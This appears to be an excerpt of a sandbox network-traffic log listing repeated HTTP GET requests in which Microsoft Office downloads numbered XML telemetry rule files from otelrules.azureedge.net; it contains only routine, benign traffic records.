Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
